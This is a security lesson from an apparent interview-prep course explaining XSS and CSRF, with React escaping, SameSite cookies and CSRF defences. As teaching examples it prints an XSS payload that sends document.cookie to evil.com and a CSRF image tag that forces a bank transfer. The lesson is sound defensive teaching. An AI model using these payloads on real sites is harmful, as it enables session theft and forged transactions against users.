Lesson 21 of 30
Two classic web attacks with opposite mechanisms — one injects a malicious script into your page, the other tricks a browser into sending a legitimate, authenticated request the user never meant to make.
14 min read
Every option explains itself — why the right one is right, and why each wrong one is wrong. Miss one and it comes back later on a spaced-repetition schedule.
Question 1 of 2
Why does React's plain `{comment.text}` protect against XSS while `dangerouslySetInnerHTML={{ __html: comment.text }}` does not?
Hints without spoilers, and a plain explanation of why a wrong answer was wrong — answered only from this lesson. Free account, no card.
Sign up freeWhat interviewers actually ask about this, and what a strong answer has to cover.
A strong answer covers
Likely follow-ups
XSS (Cross-Site Scripting): an attacker gets their own JavaScript to run inside your page, usually by injecting it into content that later gets rendered as HTML.
// ❌ dangerous — comment content rendered as raw HTML
<div dangerouslySetInnerHTML={{ __html: comment.text }} />
// if comment.text is "<img src=x onerror=fetch('evil.com?cookie='+document.cookie)>",
// that script actually runs, in your page, with your user's session
React escapes plain {comment.text} automatically — dangerouslySetInnerHTML is a deliberately-named escape hatch specifically because it disables that protection.
CSRF (Cross-Site Request Forgery): a malicious site tricks the user's browser into sending a request to your site, using the user's already-logged-in session (cookies are sent automatically to whatever domain they belong to, regardless of which page's JavaScript triggered the request):
<!-- on evil.com -->
<img src="https://yourbank.com/transfer?to=attacker&amount=1000">
<!-- the browser sends this GET request WITH your yourbank.com cookies attached -->
XSS: an attacker gets THEIR script to run on YOUR page — e.g. via unescaped user input rendered as HTML.
SameSite cookie attribute are the actual defenses.SameSite=Strict/Lax cookies are a major modern CSRF mitigation — they tell the browser not to send the cookie on cross-site requests at all, closing much of this attack surface without needing a token system, though Lax (the modern default) still allows some cross-site navigation cases."Explain XSS and CSRF, and how you'd defend against each" is a standard security-fundamentals question — the strong answer names the actual mechanism each attack exploits (code injection vs. automatic cookie-sending) and the specific, correct defense for each, not a generic "sanitize your inputs."